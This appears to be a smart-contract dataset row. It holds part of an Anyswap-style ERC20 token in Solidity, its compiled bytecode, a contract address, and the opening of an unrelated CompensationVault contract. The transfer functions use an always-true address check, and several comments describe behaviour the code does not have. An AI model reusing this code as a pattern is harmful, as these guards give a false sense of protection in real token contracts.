minters.push(_vault);
delayVault = block.timestamp;
_init = false;
}
function setVault(address _vault) external onlyVault {
require(_vault != address(0), "AnyswapV3ERC20: address(0x0)");
pendingVault = _vault;
delayVault = block.timestamp + delay;
}
function applyVault() external onlyVault {
require(block.timestamp >= delayVault);
vault = pendingVault;
}
function setMinter(address _auth) external onlyVault {
require(_auth != address(0), "AnyswapV3ERC20: address(0x0)");
pendingMinter = _auth;
delayMinter = block.timestamp + delay;
}
function applyMinter() external onlyVault {
require(block.timestamp >= delayMinter);
isMinter[pendingMinter] = true;
minters.push(pendingMinter);
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function changeVault(address newVault) external onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV3ERC20: address(0x0)");
vault = newVault;
pendingVault = newVault;
emit LogChangeVault(vault, pendingVault, block.timestamp);
return true;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
require(from != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) public onlyAuth returns (bool) {
_mint(account, amount);
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) public returns (bool) {
require(!_vaultOnly, "AnyswapV4ERC20: onlyAuth");
require(bindaddr != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(msg.sender, amount);
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
/// @dev Records current ERC2612 nonce for account. This value must be included whenever signature is generated for {permit}.
/// Every successful call to {permit} increases account's nonce by one. This prevents signature from being used multiple times.
mapping (address => uint256) public override nonces;
/// @dev Records number of AnyswapV3ERC20 token that account (second) will be allowed to spend on behalf of another account (first) through {transferFrom}.
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
underlying = _underlying;
if (_underlying != address(0x0)) {
require(_decimals == IERC20(_underlying).decimals());
}
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
pendingVault = _vault;
delayVault = block.timestamp;
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
/// @dev Returns the total supply of AnyswapV3ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function deposit() external returns (uint) {
uint _amount = IERC20(underlying).balanceOf(msg.sender);
IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount);
return _deposit(_amount, msg.sender);
}
function deposit(uint amount) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, msg.sender);
}
function deposit(uint amount, address to) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, to);
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
return _deposit(amount, to);
}
function _deposit(uint amount, address to) internal returns (uint) {
require(underlying != address(0x0) && underlying != address(this));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender);
}
function withdraw(uint amount) external returns (uint) {
return _withdraw(msg.sender, amount, msg.sender);
}
function withdraw(uint amount, address to) external returns (uint) {
return _withdraw(msg.sender, amount, to);
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
return _withdraw(from, amount, to);
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
_burn(from, amount);
IERC20(underlying).safeTransfer(to, amount);
return amount;
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
balanceOf[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data);
}
/// @dev Sets `value` as allowance of `spender` account over `owner` account's AnyswapV3ERC20 token, given `owner` account's signed approval.
/// Emits {Approval} event.
/// Requirements:
/// - `deadline` must be timestamp in future.
/// - `v`, `r` and `s` must be valid `secp256k1` signature from `owner` account over EIP712-formatted function arguments.
/// - the signature must use `owner` account's current nonce (see {nonces}).
/// - the signer cannot be zero address and must be `owner` account.
/// For more information on signature format, see https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP section].
/// AnyswapV3ERC20 token implementation adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol.
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(
abi.encode(
PERMIT_TYPEHASH,
target,
spender,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
// _approve(owner, spender, value);
allowance[target][spender] = value;
emit Approval(target, spender, value);
}
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override returns (bool) {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(
abi.encode(
TRANSFER_TYPEHASH,
target,
to,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[target];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[target] = balance - value;
balanceOf[to] += value;
emit Transfer(target, to, value);
return true;
}
function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(
abi.encodePacked(
"\x19Ethereum Signed Message:\n32",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`).
/// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from account (`from`) to account (`to`) using allowance mechanism.
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller.
/// Emits {Approval} event to reflect reduced allowance `value` for caller account to spend from account (`from`),
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV3ERC20 token.
/// - `from` account must have approved caller to spend at least `value` of AnyswapV3ERC20 token, unless `from` and caller are the same account.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
if (from != msg.sender) {
// _decreaseAllowance(from, msg.sender, value);
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV3ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data);
}
} | 0x608060405234801561001057600080fd5b50600436106102b85760003560e01c806370a0823111610182578063bebbf4d0116100e9578063d505accf116100a2578063ec126c771161007c578063ec126c77146106a2578063f75c2664146106b5578063fbfa77cf146106bd578063fca3b5aa146106d057600080fd5b8063d505accf1461065c578063d93f24451461066f578063dd62ed3e1461067757600080fd5b8063bebbf4d0146105ff578063c308124014610612578063c4b740f51461061b578063cae9ca511461062e578063cfbd488514610641578063d0e30db01461065457600080fd5b806395d89b411161013b57806395d89b41146105865780639dc29fac1461058e578063a045442c146105a1578063a9059cbb146105b6578063aa271e1a146105c9578063b6b55f25146105ec57600080fd5b806370a082311461050f5780637ecebe001461052f5780638623ec7b1461054f57806387689e28146105625780638da5cb5b1461056b57806391c5df491461057357600080fd5b80633644e5151161022657806360e232a9116101df57806360e232a914610493578063628d6cba146104a65780636817031b146104b95780636a42b8f8146104cc5780636e553f65146104d55780636f307dc3146104e857600080fd5b80633644e515146104005780633ccfd60b146104275780634000aea01461042f57806340c10f191461044257806352113ba714610455578063605629d61461048057600080fd5b806318160ddd1161027857806318160ddd1461035f57806323b872dd146103675780632e1a7d4d1461037a5780632ebe3fbb1461038d57806330adf81f146103a0578063313ce567146103c757600080fd5b806239d6ec146102bd578062bf26f4146102e3578062f714ce1461030a57806306fdde031461031d578063095ea7b3146103325780630d707df814610355575b600080fd5b6102d06102cb366004611fb1565b6106e3565b6040519081526020015b60405180910390f35b6102d07f42ce63790c28229c123925d83266e77c04d28784552ab68b350a9003226cbd5981565b6102d0610318366004611fed565b610739565b61032561074d565b6040516102da9190612045565b610345610340366004612078565b6107db565b60405190151581526020016102da565b61035d610835565b005b6003546102d0565b6103456103753660046120a2565b6108f1565b6102d06103883660046120de565b610adc565b61035d61039b3660046120f7565b610aef565b6102d07f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b6103ee7f000000000000000000000000000000000000000000000000000000000000001281565b60405160ff90911681526020016102da565b6102d07fa2bebe1470f8d9f98a5a1cd024bf07779b4f359cb9d14ec2cb68e8f01b33e1c681565b6102d0610bc6565b61034561043d366004612112565b610be7565b610345610450366004612078565b610d31565b600b54610468906001600160a01b031681565b6040516001600160a01b0390911681526020016102da565b61034561048e366004612199565b610d73565b6103456104a13660046120f7565b610f83565b6103456104b4366004611fed565b611044565b61035d6104c73660046120f7565b61110c565b6102d060055481565b6102d06104e3366004611fed565b611198565b6104687f00000000000000000000000073b708e84837ffccde2933e3a1531fe61d5e80ef81565b6102d061051d3660046120f7565b60026020526000908152604090205481565b6102d061053d3660046120f7565b600d6020526000908152604090205481565b61046861055d3660046120de565b6111d9565b6102d0600c5481565b610468611203565b600954610468906001600160a01b031681565b61032561120d565b61034561059c366004612078565b61121a565b6105a9611279565b6040516102da919061220c565b6103456105c4366004612078565b6112db565b6103456105d73660046120f7565b60066020526000908152604090205460ff1681565b6102d06105fa3660046120de565b6113b1565b6102d061060d366004611fed565b6113f2565b6102d0600a5481565b61035d61062936600461226a565b61142c565b61034561063c366004612112565b61147e565b61035d61064f3660046120f7565b61154b565b6102d06115a4565b61035d61066a366004612199565b611678565b61035d6117e6565b6102d0610685366004612287565b600e60209081526000928352604080842090915290825290205481565b6103456106b03660046122b1565b611851565b6104686118c6565b600854610468906001600160a01b031681565b61035d6106de3660046120f7565b6118f1565b60006106ed6118c6565b6001600160a01b0316336001600160a01b0316146107265760405162461bcd60e51b815260040161071d906122d6565b60405180910390fd5b61073184848461197d565b949350505050565b600061074633848461197d565b9392505050565b6000805461075a9061230d565b80601f01602080910402602001604051908101604052809291908181526020018280546107869061230d565b80156107d35780601f106107a8576101008083540402835291602001916107d3565b820191906000526020600020905b8154815290600101906020018083116107b657829003601f168201915b505050505081565b336000818152600e602090815260408083206001600160a01b03871680855292528083208590555191929091600080516020612520833981519152906108249086815260200190565b60405180910390a350600192915050565b61083d6118c6565b6001600160a01b0316336001600160a01b03161461086d5760405162461bcd60e51b815260040161071d906122d6565b600a5442101561087c57600080fd5b600980546001600160a01b039081166000908152600660205260408120805460ff1916600190811790915592546007805494850181559091527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68890920180546001600160a01b03191692909116919091179055565b60006001600160a01b03831615158061091357506001600160a01b0383163014155b61091c57600080fd5b6001600160a01b0384163314610a16576001600160a01b0384166000908152600e602090815260408083203384529091529020546000198114610a1457828110156109bb5760405162461bcd60e51b815260206004820152602960248201527f416e7973776170563345524332303a2072657175657374206578636565647320604482015268616c6c6f77616e636560b81b606482015260840161071d565b60006109c7848361235e565b6001600160a01b0387166000818152600e602090815260408083203380855290835292819020859055518481529394509092600080516020612520833981519152910160405180910390a3505b505b6001600160a01b03841660009081526002602052604090205482811015610a4f5760405162461bcd60e51b815260040161071d90612375565b610a59838261235e565b6001600160a01b038087166000908152600260205260408082209390935590861681529081208054859290610a8f9084906123c4565b92505081905550836001600160a01b0316856001600160a01b031660008051602061250083398151915285604051610ac991815260200190565b60405180910390a3506001949350505050565b6000610ae933833361197d565b92915050565b610af76118c6565b6001600160a01b0316336001600160a01b031614610b275760405162461bcd60e51b815260040161071d906122d6565b60045460ff16610b3657600080fd5b600880546001600160a01b039092166001600160a01b03199283168117909155600b80548316821790556000818152600660205260408120805460ff1990811660019081179092556007805492830181559092527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68801805490931690911790915542600c55600480549091169055565b336000818152600260205260408120549091610be2918161197d565b905090565b60006001600160a01b038516151580610c0957506001600160a01b0385163014155b610c1257600080fd5b3360009081526002602052604090205484811015610c425760405162461bcd60e51b815260040161071d90612375565b610c4c858261235e565b33600090815260026020526040808220929092556001600160a01b03881681529081208054879290610c7f9084906123c4565b90915550506040518581526001600160a01b0387169033906000805160206125008339815191529060200160405180910390a3604051635260769b60e11b81526001600160a01b0387169063a4c0ed3690610ce49033908990899089906004016123dc565b6020604051808303816000875af1158015610d03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d279190612424565b9695505050505050565b3360009081526006602052604081205460ff16610d605760405162461bcd60e51b815260040161071d90612441565b610d6a83836119c5565b50600192915050565b600084421115610dc55760405162461bcd60e51b815260206004820152601e60248201527f416e7973776170563345524332303a2045787069726564207065726d69740000604482015260640161071d565b6001600160a01b0388166000908152600d6020526040812080547f42ce63790c28229c123925d83266e77c04d28784552ab68b350a9003226cbd59918b918b918b919086610e1283612478565b909155506040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810187905260e001604051602081830303815290604052805190602001209050610e738982878787611a93565b80610e865750610e868982878787611b84565b610e8f57600080fd5b6001600160a01b038816151580610eaf57506001600160a01b0388163014155b610eb857600080fd5b6001600160a01b03891660009081526002602052604090205487811015610ef15760405162461bcd60e51b815260040161071d90612375565b610efb888261235e565b6001600160a01b03808c1660009081526002602052604080822093909355908b16815290812080548a9290610f319084906123c4565b92505081905550886001600160a01b03168a6001600160a01b03166000805160206125008339815191528a604051610f6b91815260200190565b60405180910390a35060019998505050505050505050565b6000610f8d6118c6565b6001600160a01b0316336001600160a01b031614610fbd5760405162461bcd60e51b815260040161071d906122d6565b6001600160a01b038216610fe35760405162461bcd60e51b815260040161071d90612493565b600880546001600160a01b0384166001600160a01b03199182168117909255600b80549091168217905560405142919081907f5c364079e7102c27c608f9b237c735a1b7bfa0b67f27c2ad26bad447bf965cac90600090a45060015b919050565b600454600090610100900460ff161561109f5760405162461bcd60e51b815260206004820152601860248201527f416e7973776170563445524332303a206f6e6c79417574680000000000000000604482015260640161071d565b6001600160a01b0382166110c55760405162461bcd60e51b815260040161071d90612493565b6110cf3384611be7565b6040518381526001600160a01b0383169033907f6b616089d04950dc06c45c6dd787d657980543f89651aec47924752c7d16c88890602001610824565b6111146118c6565b6001600160a01b0316336001600160a01b0316146111445760405162461bcd60e51b815260040161071d906122d6565b6001600160a01b03811661116a5760405162461bcd60e51b815260040161071d90612493565b600b80546001600160a01b0319166001600160a01b03831617905560055461119290426123c4565b600c5550565b60006111cf6001600160a01b037f00000000000000000000000073b708e84837ffccde2933e3a1531fe61d5e80ef16333086611cb9565b6107468383611d2a565b600781815481106111e957600080fd5b6000918252602090912001546001600160a01b0316905081565b6000610be26118c6565b6001805461075a9061230d565b3360009081526006602052604081205460ff166112495760405162461bcd60e51b815260040161071d90612441565b6001600160a01b03831661126f5760405162461bcd60e51b815260040161071d90612493565b610d6a8383611be7565b606060078054806020026020016040519081016040528092919081815260200182805480156112d157602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116112b3575b5050505050905090565b60006001600160a01b0383161515806112fd57506001600160a01b0383163014155b61130657600080fd5b33600090815260026020526040902054828110156113365760405162461bcd60e51b815260040161071d90612375565b611340838261235e565b33600090815260026020526040808220929092556001600160a01b038616815290812080548592906113739084906123c4565b90915550506040518381526001600160a01b038516903390600080516020612500833981519152906020015b60405180910390a35060019392505050565b60006113e86001600160a01b037f00000000000000000000000073b708e84837ffccde2933e3a1531fe61d5e80ef16333085611cb9565b610ae98233611d2a565b60006113fc6118c6565b6001600160a01b0316336001600160a01b0316146111cf5760405162461bcd60e51b815260040161071d906122d6565b6114346118c6565b6001600160a01b0316336001600160a01b0316146114645760405162461bcd60e51b815260040161071d906122d6565b600480549115156101000261ff0019909216919091179055565b336000818152600e602090815260408083206001600160a01b03891680855292528083208790555191929091600080516020612520833981519152906114c79088815260200190565b60405180910390a360405162ba451f60e01b81526001600160a01b0386169062ba451f906114ff9033908890889088906004016123dc565b6020604051808303816000875af115801561151e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115429190612424565b95945050505050565b6115536118c6565b6001600160a01b0316336001600160a01b0316146115835760405162461bcd60e51b815260040161071d906122d6565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6040516370a0823160e01b815233600482015260009081906001600160a01b037f00000000000000000000000073b708e84837ffccde2933e3a1531fe61d5e80ef16906370a0823190602401602060405180830381865afa15801561160d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061163191906124ca565b90506116686001600160a01b037f00000000000000000000000073b708e84837ffccde2933e3a1531fe61d5e80ef16333084611cb9565b6116728133611d2a565b91505090565b834211156116c85760405162461bcd60e51b815260206004820152601e60248201527f416e7973776170563345524332303a2045787069726564207065726d69740000604482015260640161071d565b6001600160a01b0387166000908152600d6020526040812080547f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918a918a918a91908661171583612478565b909155506040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810186905260e0016040516020818303038152906040528051906020012090506117768882868686611a93565b8061178957506117898882868686611b84565b61179257600080fd5b6001600160a01b038881166000818152600e60209081526040808320948c16808452948252918290208a90559051898152600080516020612520833981519152910160405180910390a35050505050505050565b6117ee6118c6565b6001600160a01b0316336001600160a01b03161461181e5760405162461bcd60e51b815260040161071d906122d6565b600c5442101561182d57600080fd5b600b54600880546001600160a01b0319166001600160a01b03909216919091179055565b3360009081526006602052604081205460ff166118805760405162461bcd60e51b815260040161071d90612441565b61188a83836119c5565b826001600160a01b0316847f05d0634fe981be85c22e2942a880821b70095d84e152c3ea3c17a4e4250d9d618460405161139f91815260200190565b6000600c5442106118e15750600b546001600160a01b031690565b506008546001600160a01b031690565b6118f96118c6565b6001600160a01b0316336001600160a01b0316146119295760405162461bcd60e51b815260040161071d906122d6565b6001600160a01b03811661194f5760405162461bcd60e51b815260040161071d90612493565b600980546001600160a01b0319166001600160a01b03831617905560055461197790426123c4565b600a5550565b60006119898484611be7565b6119bd6001600160a01b037f00000000000000000000000073b708e84837ffccde2933e3a1531fe61d5e80ef168385611da7565b509092915050565b6001600160a01b038216611a1b5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640161071d565b8060036000828254611a2d91906123c4565b90915550506001600160a01b03821660009081526002602052604081208054839290611a5a9084906123c4565b90915550506040518181526001600160a01b03831690600090600080516020612500833981519152906020015b60405180910390a35050565b60405161190160f01b60208201527fa2bebe1470f8d9f98a5a1cd024bf07779b4f359cb9d14ec2cb68e8f01b33e1c660228201526042810185905260009081906062015b60408051601f198184030181528282528051602091820120600080855291840180845281905260ff89169284019290925260608301879052608083018690529092509060019060a0016020604051602081039080840390855afa158015611b42573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811615801590611b785750876001600160a01b0316816001600160a01b0316145b98975050505050505050565b6040517f19457468657265756d205369676e6564204d6573736167653a0a33320000000060208201527fa2bebe1470f8d9f98a5a1cd024bf07779b4f359cb9d14ec2cb68e8f01b33e1c6603c820152605c81018590526000908190607c01611ad7565b6001600160a01b038216611c475760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161071d565b6001600160a01b03821660009081526002602052604081208054839290611c6f90849061235e565b925050819055508060036000828254611c88919061235e565b90915550506040518181526000906001600160a01b0384169060008051602061250083398151915290602001611a87565b6040516001600160a01b0380851660248301528316604482015260648101829052611d249085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152611ddc565b50505050565b60007f00000000000000000000000073b708e84837ffccde2933e3a1531fe61d5e80ef6001600160a01b031615801590611d8d57507f00000000000000000000000073b708e84837ffccde2933e3a1531fe61d5e80ef6001600160a01b03163014155b611d9657600080fd5b611da082846119c5565b5090919050565b6040516001600160a01b038316602482015260448101829052611dd790849063a9059cbb60e01b90606401611ced565b505050565b611dee826001600160a01b0316611f63565b611e3a5760405162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015260640161071d565b600080836001600160a01b031683604051611e5591906124e3565b6000604051808303816000865af19150503d8060008114611e92576040519150601f19603f3d011682016040523d82523d6000602084013e611e97565b606091505b509150915081611ee95760405162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015260640161071d565b805115611d245780806020019051810190611f049190612424565b611d245760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b606482015260840161071d565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906107315750141592915050565b80356001600160a01b038116811461103f57600080fd5b600080600060608486031215611fc657600080fd5b611fcf84611f9a565b925060208401359150611fe460408501611f9a565b90509250925092565b6000806040838503121561200057600080fd5b8235915061201060208401611f9a565b90509250929050565b60005b8381101561203457818101518382015260200161201c565b83811115611d245750506000910152565b6020815260008251806020840152612064816040850160208701612019565b601f01601f19169190910160400192915050565b6000806040838503121561208b57600080fd5b61209483611f9a565b946020939093013593505050565b6000806000606084860312156120b757600080fd5b6120c084611f9a565b92506120ce60208501611f9a565b9150604084013590509250925092565b6000602082840312156120f057600080fd5b5035919050565b60006020828403121561210957600080fd5b61074682611f9a565b6000806000806060858703121561212857600080fd5b61213185611f9a565b935060208501359250604085013567ffffffffffffffff8082111561215557600080fd5b818701915087601f83011261216957600080fd5b81358181111561217857600080fd5b88602082850101111561218a57600080fd5b95989497505060200194505050565b600080600080600080600060e0888a0312156121b457600080fd5b6121bd88611f9a565b96506121cb60208901611f9a565b95506040880135945060608801359350608088013560ff811681146121ef57600080fd5b9699959850939692959460a0840135945060c09093013592915050565b6020808252825182820181905260009190848201906040850190845b8181101561224d5783516001600160a01b031683529284019291840191600101612228565b50909695505050505050565b801515811461226757600080fd5b50565b60006020828403121561227c57600080fd5b813561074681612259565b6000806040838503121561229a57600080fd5b6122a383611f9a565b915061201060208401611f9a565b6000806000606084860312156122c657600080fd5b833592506120ce60208501611f9a565b60208082526019908201527f416e7973776170563345524332303a20464f5242494444454e00000000000000604082015260600190565b600181811c9082168061232157607f821691505b6020821081141561234257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008282101561237057612370612348565b500390565b6020808252602f908201527f416e7973776170563345524332303a207472616e7366657220616d6f756e742060408201526e657863656564732062616c616e636560881b606082015260800190565b600082198211156123d7576123d7612348565b500190565b6001600160a01b0385168152602081018490526060604082018190528101829052818360808301376000818301608090810191909152601f909201601f191601019392505050565b60006020828403121561243657600080fd5b815161074681612259565b60208082526019908201527f416e7973776170563445524332303a20464f5242494444454e00000000000000604082015260600190565b600060001982141561248c5761248c612348565b5060010190565b6020808252601c908201527f416e7973776170563345524332303a2061646472657373283078302900000000604082015260600190565b6000602082840312156124dc57600080fd5b5051919050565b600082516124f5818460208701612019565b919091019291505056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925a26469706673582212204db622a89335a7f516edf22bc6964bb0d3dae43db253408484323d804b982d4c64736f6c634300080a0033 | [
38
] |
0xf33200132d840fee04f84a7a9d3c3e6aea311b3f | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
import "hardhat/console.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { TransferHelper } from "@uniswap/lib/contracts/libraries/TransferHelper.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { ECDSA } from "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import { SafeMath } from "@openzeppelin/contracts/utils/math/SafeMath.sol";
import { ICompensationVault } from "./ICompensationVault.sol";
import { CompensationVaultStorage } from "./CompensationVaultStorage.sol";
// TODO: optimize by storage layout
contract CompensationVault is ICompensationVault, CompensationVaultStorage {
using SafeMath for uint256;
modifier onlySigner(address account) {
require(isSigner[account], "invalid-signer");
_;
}
modifier onlyRouter(address account) {
require(isRouter[account], "invalid-router");
_;
}
modifier whenPaused() {
require(paused, "not-paused-yet");
_;
}
modifier whenNotPaused() {
require(!paused, "still-paused");
_;
}
event Paused();
event Unpaused();
event SignerSet(address indexed account, bool value);
event RouterSet(address indexed account, bool value);
event CompensationAdded(address indexed sender, uint256 compensationAmount, uint256 flag);
event CompensationClaimed(address indexed sender, uint256 compensationAmount);
event LimitsUpdated(uint256 LIMIT_PER_TX, uint256 LIMIT_PER_DAY);
event VaultReset(
uint256 START_TIME,
uint256 MAX_RUNNING_DAYS,
uint256 TOTAL_ALLOCATED,
uint256 LIMIT_PER_TX,
uint256 LIMIT_PER_DAY,
uint256 remainings,
uint256 pastDebt
);
// initialize proxy
function _initialize(
address _owner,
address _token,
uint256 _START_TIME,
uint256 _MAX_RUNNING_DAYS,
uint256 _TOTAL_ALLOCATED,
uint256 _LIMIT_PER_TX,
uint256 _LIMIT_PER_DAY
) public {
require(!_initialized0, "IE"); // initialize error
token = _token;
_setOwner(_owner);
START_TIME = uint64(_START_TIME);
MAX_RUNNING_DAYS = uint64(_MAX_RUNNING_DAYS);
TOTAL_ALLOCATED = uint128(_TOTAL_ALLOCATED);
LIMIT_PER_TX = uint128(_LIMIT_PER_TX);
